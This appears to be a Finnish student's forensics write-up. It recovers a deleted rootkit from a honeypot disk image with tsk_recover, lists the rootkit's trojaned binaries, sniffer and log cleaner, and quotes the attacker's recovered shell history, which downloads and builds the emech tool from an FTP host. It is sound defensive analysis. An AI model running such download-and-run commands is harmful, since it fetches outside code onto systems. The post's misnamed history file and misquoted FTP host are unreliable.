Opettajan tunnilla antaman vinkin mukaan, levykuvalla olleet poistetut tiedostot saa palautettua komennolla tsk_recover. Komento ei kuitenkaan sellaisenaan toiminut, joten pääsin taas asennuspuuhiin.

The program 'tsk_recover' is currently not installed. You can install it by typing:
sudo apt install sleuthkit
$sudo apt-get install sleuthkit

Tämä vaati myös lisäpaketteja, jotka tarvittiin, joten hyväksyin myös ne:

The following additional packages will be installed:
  libafflib0v5 libbfio1 libewf2 libtsk13
Suggested packages:
  autopsy mac-robber
The following NEW packages will be installed:
  libafflib0v5 libbfio1 libewf2 libtsk13 sleuthkit
0 upgraded, 5 newly installed, 0 to remove and 26 not upgraded.
Need to get 1 542 kB of archives.
After this operation, 5 010 kB of additional disk space will be used.
Do you want to continue? [Y/n] Y

Asennuksen valmistuttua tein kansion poistetuille tiedostoille ja palautin tiedostot sinne.

$mkdir deleted
$ tsk_recover honeypot.hda8.dd deleted
Files Recovered: 37

Selvitystyötä

Kansiossa olevan tiedostolistauksen avulla voimme aloittaa selvityksen

$cd deleted
$ls
etc  lk.tgz  $OrphanFiles

Sisällöstä voimme päätellä, että haittaohjelma on ollut lk.tgz paketin sisällön mukainen. Sisältö paketilla on laajempi:

$ tar -tvf lk.tgz 
drwxr-xr-x 1031/users        0 2001-02-26 22:40 last/
-rwxr-xr-x 1031/users   611931 2002-02-08 15:08 last/ssh
-rw-r--r-- 1031/users        1 2001-02-26 17:29 last/pidfile
-rwx------ 1031/users     3713 2001-03-03 05:08 last/install
-rwx------ 1031/users     7165 2001-02-26 17:22 last/linsniffer
-rwxr-xr-x 1031/users     1345 1999-09-09 18:57 last/cleaner
-rw-r--r-- 1031/users     3278 2001-01-27 17:11 last/inetd.conf
-rwxr-xr-x 1031/users       79 2001-02-26 17:28 last/lsattr
-rw-r--r-- 1031/users    11407 2001-01-27 17:11 last/services
-rwxr-xr-x 1031/users     4060 2001-02-26 17:22 last/sense
-rw-r--r-- 1031/users      880 2000-10-22 22:29 last/ssh_config
-rw------- 1031/users      540 2000-10-22 22:29 last/ssh_host_key
-rw-r--r-- 1031/users      344 2000-10-22 22:29 last/ssh_host_key.pub
-rw------- 1031/users      512 2000-10-22 22:29 last/ssh_random_seed
-rw-r--r-- 1031/users      688 2001-02-26 17:29 last/sshd_config
-rwx------ 1031/users     8268 2001-02-26 17:22 last/sl2
-rwxr-xr-x 1031/users     4620 2001-02-26 17:23 last/last.cgi
-rwxr-xr-x 1031/users    33280 2001-02-26 17:23 last/ps
-rwxr-xr-x 1031/users    35300 2001-02-26 17:23 last/netstat
-rwxr-xr-x 1031/users    19840 2001-02-26 17:23 last/ifconfig
-rwxr-xr-x 1031/users    53588 2001-02-26 17:23 last/top
-rwx------ 1031/users       75 2001-02-26 17:24 last/logclear
-rw-r--r-- root/root       708 2001-03-03 05:05 last/s
-rwxr-xr-x 1031/users   632066 2001-02-26 16:46 last/mkxfs

Tämän perusteella toteamme, että rootkit on ollut koneella ja sen sisältö on ko. paketin mukainen.

Pikaisen loogisen päättelyn avulla voimme todeta, että:

  1. ssh-yhteyksien osalta konfiguraatiota on voitu haittaohjelman avulla muuttamaan
  2. ifconfig ja netstat-tiedostojen perusteella myös tietoliikenneyhteyksissä on ollut jonkinlainen tunkeutuminen, luultavasti jälkien peittelyn vuoksi
  3. top-ohjelma on myös tämän perusteella saastutettavissa, luultavasti haittaohjelman tekijä on yrittänyt piilottautua
  4. logclear-nimi viittaa logitiedostojen siivoamiseen

Seuraavaksi otetaan suurempi otos poistetuista tiedostoista. Tämä onnistuu komennolla:

$ mkdir deleted2
$ tsk_recover -a honeypot.hda8.dd deleted2
Files Recovered: 1614

Ensimmäisenä tulee mieleen root-käyttäjän antamat komennot. Linux tallentaa annetut komennot tekstitiedostoon, jotta terminaalissa toimiva ylöspäin nuoli toimisi palauttamaan edellisen komennon. Teoriassa siis tuo .bash_profile tiedosto sisältää kaikki käyttäjän antamat komennot. Tässä tapauksessa hyökkääjä on luultavasti poistanut tuon tiedoston, joten sen pitäisi löytyä poistettujen tiedostojen joukosta:

$ cat root/.bash_history 
exec tcsh
ls
mkdir /var/...
ls
cd /var/...
ftp ftp.home.ro
tar -zxvf emech-2.8.tar.gz
cd emech-2.8
./configure
y
make
make
make install
mv sample.set mech.set
pico mech.set
./mech
cd /etc
pico ftpaccess
ls
exit

Tiedoston sisällön perusteella on käytetty emech ohjelmistoa, joka on ladattu osoitteesta ftp.rome.ro ja sitä on myös määritelty, joskin määrittelyjen sisältö jää arvoitukseksi.

deleted2 kansiosta löytyy myös /dev/ida/.drag-on kansio, josta löytyy samoja tiedostoja kuin tuosta lk.tgz paketista.

$ find . -name "linsniffer"
./dev/ida/.. /linsniffer
./dev/ida/.drag-on/linsniffer

Vastaukset

– “Show step by step how you identify and recover the deleted rootkit from the / partition.”
==> Vastaus edellä
– What files make up the deleted rootkit?
==> Tiedostot, jotka löytyvät tuosta lk.tgz paketista

Lisätehtävinä voit halutessasi vastata:
– “Bonus Question: Was the rootkit ever actually installed on the system? How do you know?”
==> Kyllä, /dev/ida/.drag-on -kansion perusteella

– Mitä tekijään viittaavia tietoja levykuvasta löytyy?
==> FTP-osoite
– Selitä vaiheittain, miten rootkit toimii.

Lähteet

9 total views, 1 views today